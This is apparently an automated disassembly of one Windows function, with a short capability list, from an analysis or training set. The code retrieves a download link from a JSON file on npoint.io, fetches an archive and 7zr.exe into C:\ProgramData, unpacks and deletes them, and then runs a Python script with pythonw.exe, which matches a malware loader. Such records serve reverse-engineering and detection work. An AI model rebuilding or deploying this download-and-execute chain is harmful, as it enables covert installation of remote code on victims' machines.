Function at 0x405170
Capabilities:
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x42f040]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0xf
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.Program_started
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00408ce0
lea ecx, [esp + 0x30]
call fcn.00404980
mov ecx, dword [esp + 0x44]
cmp ecx, 7
jbe 0x4051f9
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4051ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
push 0x2a
xorps xmm0, xmm0
mov dword [esp + 0x134], 0
push str.https:__api.npoint.io_18d55c0adc0da69697f6
lea ecx, [esp + 0x128]
movaps xmmword [esp + 0x128], xmm0
mov dword [esp + 0x13c], 0
call fcn.00408ce0
xorps xmm0, xmm0
mov dword [esp + 0x110], 0
xor eax, eax
movaps xmmword [esp + 0x100], xmm0
lea edx, [esp + 0x100]
mov dword [esp + 0x114], 7
lea ecx, [esp + 0x120]
mov word [esp + 0x100], ax
call fcn.00402490
test al, al
jne 0x405307
mov ecx, dword [esp + 0x130]
mov eax, 0x7ffffffe
sub eax, ecx
cmp eax, 0x1d
jb 0x405d7f
cmp dword [esp + 0x134], 7
lea eax, [esp + 0x120]
push ecx
cmova eax, dword [esp + 0x124]
push eax
push 0x1d
push str.Failed_to_retrieve_JSON_from
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x28]
call fcn.004094b0
lea ecx, [esp + 0x10]
call fcn.00404980
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x4052fd
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4052f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov esi, 1
jmp 0x405cc7
xorps xmm0, xmm0
mov dword [esp + 0xb0], 0
xor eax, eax
movaps xmmword [esp + 0xa0], xmm0
push 0x12
push str.cloud_data_project
lea ecx, [esp + 0x38]
mov dword [esp + 0xbc], 7
mov word [esp + 0xa8], ax
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
call fcn.00408ce0
lea eax, [esp + 0xa0]
push eax
lea edx, [esp + 0x34]
lea ecx, [esp + 0x104]
call fcn.00402f60
mov ecx, dword [esp + 0x48]
add esp, 4
mov byte [esp + 0xb], al
cmp ecx, 7
jbe 0x4053ae
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4053a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
mov al, byte [esp + 0x13]
add esp, 8
xorps xmm0, xmm0
test al, al
jne 0x405429
push 0x30
push str.Failed_to_extract_cloud_data_project_from_JSON
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
call fcn.00408ce0
lea ecx, [esp + 0x30]
call fcn.00404980
mov ecx, dword [esp + 0x44]
cmp ecx, 7
jbe 0x40541f
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405415
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov esi, 1
jmp 0x405c65
push 0xe
push str.C:ProgramData
lea ecx, [esp + 0x88]
movaps xmmword [esp + 0x88], xmm0
mov dword [esp + 0x98], 0
mov dword [esp + 0x9c], 0
call fcn.00408ce0
mov ecx, dword [esp + 0x90]
mov edi, 0x7ffffffe
mov eax, edi
sub eax, ecx
cmp eax, 0xd
jb 0x405d7f
cmp dword [esp + 0x94], 7
lea eax, [esp + 0x80]
push 0xd
cmova eax, dword [esp + 0x84]
push str.CloudData.7z
push ecx
push eax
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x80]
call fcn.004094b0
lea edx, [esp + 0x68]
lea ecx, [esp + 0xa0]
call fcn.004029e0
test al, al
jne 0x40554b
mov ecx, dword [esp + 0xb0]
sub edi, ecx
cmp edi, 0x1d
jb 0x405d7f
cmp dword [esp + 0xb4], 7
lea eax, [esp + 0xa0]
push ecx
cmova eax, dword [esp + 0xa4]
push eax
push 0x1d
push str.Failed_to_download_file_from
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x28]
call fcn.004094b0
lea ecx, [esp + 0x10]
call fcn.00404980
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x405541
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405537
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov esi, 1
jmp 0x405bd0
push 0x1f
xorps xmm0, xmm0
mov dword [esp + 0xf4], 0
push str.https:__www.7_zip.org_a_7zr.exe
lea ecx, [esp + 0xe8]
movaps xmmword [esp + 0xe8], xmm0
mov dword [esp + 0xfc], 0
call fcn.00408ce0
mov ecx, dword [esp + 0x90]
mov eax, edi
sub eax, ecx
cmp eax, 8
jb 0x405d7f
cmp dword [esp + 0x94], 7
lea eax, [esp + 0x80]
push 8
cmova eax, dword [esp + 0x84]
push str.7zr.exe
push ecx
push eax
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0xe0]
call fcn.004094b0
lea edx, [esp + 0xc8]
lea ecx, [esp + 0xe0]
call fcn.004029e0
test al, al
jne 0x405620
mov ecx, dword [esp + 0xf0]
sub edi, ecx
cmp edi, 0x20
jb 0x405d7f
cmp dword [esp + 0xf4], 7
lea eax, [esp + 0xe0]
push ecx
cmova eax, dword [esp + 0xe4]
push eax
push 0x20
push str.Failed_to_download_7zr.exe_from
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x28]
call fcn.004094b0
jmp 0x405ac2
cmp dword [esp + 0xdc], 7
lea ecx, [esp + 0x168]
push ecx
lea eax, [esp + 0xcc]
cmova eax, dword [esp + 0xcc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
je 0x405a9a
cmp dword [esp + 0x184], 0
jg 0x4056b0
jl 0x405669
cmp dword [esp + 0x188], 0x19000
jae 0x4056b0
push 0x25
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.7zr.exe_is_too_small__likely_invalid.
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00408ce0
lea ecx, [esp + 0x30]
call fcn.00404980
mov ecx, dword [esp + 0x44]
cmp ecx, 7
jbe 0x405b07
mov edx, dword [esp + 0x30]
jmp 0x405ad8
lea eax, [esp + 0x80]
push eax
lea ecx, [esp + 0x54]
call fcn.004076d0
cmp dword [esp + 0x64], 7
lea eax, [esp + 0x50]
push 0
cmova eax, dword [esp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x405774
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x405774
mov ecx, dword [esp + 0x60]
sub edi, ecx
cmp edi, 0x1c
jb 0x405d7f
cmp dword [esp + 0x64], 7
lea eax, [esp + 0x50]
push ecx
cmova eax, dword [esp + 0x54]
push eax
push 0x1c
push str.Failed_to_create_directory:
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x28]
call fcn.004094b0
lea ecx, [esp + 0x10]
call fcn.00404980
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x40576a
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405760
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov esi, 1
jmp 0x405a45
xor eax, eax
mov dword [esp + 0x150], 0
xorps xmm0, xmm0
mov dword [esp + 0x154], 7
movaps xmmword [esp + 0x140], xmm0
lea edx, [esp + 0x50]
mov word [esp + 0x140], ax
lea ecx, [esp + 0x68]
lea eax, [esp + 0x140]
push eax
lea eax, [esp + 0xcc]
push eax
call fcn.004031f0
add esp, 8
test al, al
jne 0x40584a
mov ecx, dword [esp + 0x78]
sub edi, ecx
cmp edi, 0x17
jb 0x405d7f
cmp dword [esp + 0x7c], 7
lea eax, [esp + 0x68]
push ecx
cmova eax, dword [esp + 0x6c]
push eax
push 0x17
push str.Failed_to_extract_ZIP:
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x28]
call fcn.004094b0
lea ecx, [esp + 0x10]
call fcn.00404980
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x405840
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405836
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov esi, 1
jmp 0x4059e3
cmp dword [esp + 0x7c], 7
lea eax, [esp + 0x68]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmova eax, dword [esp + 0x68]
push eax
call esi
cmp dword [esp + 0xdc], 7
lea eax, [esp + 0xc8]
cmova eax, dword [esp + 0xc8]
push eax
call esi
push 0x45
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.C:_ProgramData_CloudData_pythonw.exe_C:_ProgramData_CloudData_main.py
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00408ce0
lea edx, [esp + 0x50]
lea ecx, [esp + 0x30]
call fcn.00403dc0
test al, al
jne 0x405938
mov ecx, dword [esp + 0x40]
sub edi, ecx
cmp edi, 0x12
jb 0x405d7f
cmp dword [esp + 0x44], 7
lea eax, [esp + 0x30]
push ecx
cmova eax, dword [esp + 0x34]
push eax
push 0x12
push str.Failed_to_execute
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x28]
call fcn.004094b0
lea ecx, [esp + 0x10]
call fcn.00404980
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x405931
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405927
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov esi, 1
jmp 0x4059a7
push 0x1e
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.Program_finished_successfully.
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.00408ce0
lea ecx, [esp + 0x10]
call fcn.00404980
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x4059a5
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40599b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
xor esi, esi
mov ecx, dword [esp + 0x44]
cmp ecx, 7
jbe 0x4059e3
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4059d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov ecx, dword [esp + 0x154]
cmp ecx, 7
jbe 0x405a25
mov edx, dword [esp + 0x140]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405a1b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
xor eax, eax
mov dword [esp + 0x150], 0
mov dword [esp + 0x154], 7
mov word [esp + 0x140], ax
mov ecx, dword [esp + 0x64]
cmp ecx, 7
jbe 0x405a81
mov edx, dword [esp + 0x50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405a77
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
xor eax, eax
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 7
mov word [esp + 0x50], ax
jmp 0x405b0c
push 0x21
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.Failed_to_get_7zr.exe_attributes.
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.00408ce0
lea ecx, [esp + 0x10]
call fcn.00404980
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x405b07
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405afd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov esi, 1
mov ecx, dword [esp + 0xdc]
cmp ecx, 7
jbe 0x405b4e
mov edx, dword [esp + 0xc8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405b44
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov ecx, dword [esp + 0xf4]
xor eax, eax
mov dword [esp + 0xd8], 0
mov dword [esp + 0xdc], 7
mov word [esp + 0xc8], ax
cmp ecx, 7
jbe 0x405bb0
mov edx, dword [esp + 0xe0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405ba6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
xor eax, eax
mov dword [esp + 0xf0], 0
mov dword [esp + 0xf4], 7
mov word [esp + 0xe0], ax
mov ecx, dword [esp + 0x7c]
cmp ecx, 7
jbe 0x405c0c
mov edx, dword [esp + 0x68]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405c02
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov ecx, dword [esp + 0x94]
xor eax, eax
mov dword [esp + 0x78], 0
mov dword [esp + 0x7c], 7
mov word [esp + 0x68], ax
cmp ecx, 7
jbe 0x405c65
mov edx, dword [esp + 0x80]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405c5b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov ecx, dword [esp + 0xb4]
cmp ecx, 7
jbe 0x405ca7
mov edx, dword [esp + 0xa0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405c9d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
xor eax, eax
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 7
mov word [esp + 0xa0], ax
mov ecx, dword [esp + 0x114]
cmp ecx, 7
jbe 0x405d09
mov edx, dword [esp + 0x100]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405cff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov ecx, dword [esp + 0x134]
xor eax, eax
mov dword [esp + 0x110], 0
mov dword [esp + 0x114], 7
mov word [esp + 0x100], ax
cmp ecx, 7
jbe 0x405d67
mov edx, dword [esp + 0x120]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405d5d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d84
push ecx
push edx
call fcn.0040ad34
add esp, 8
mov ecx, dword [esp + 0x18c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.0040aaf4
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401240
call fcn.00411475
int3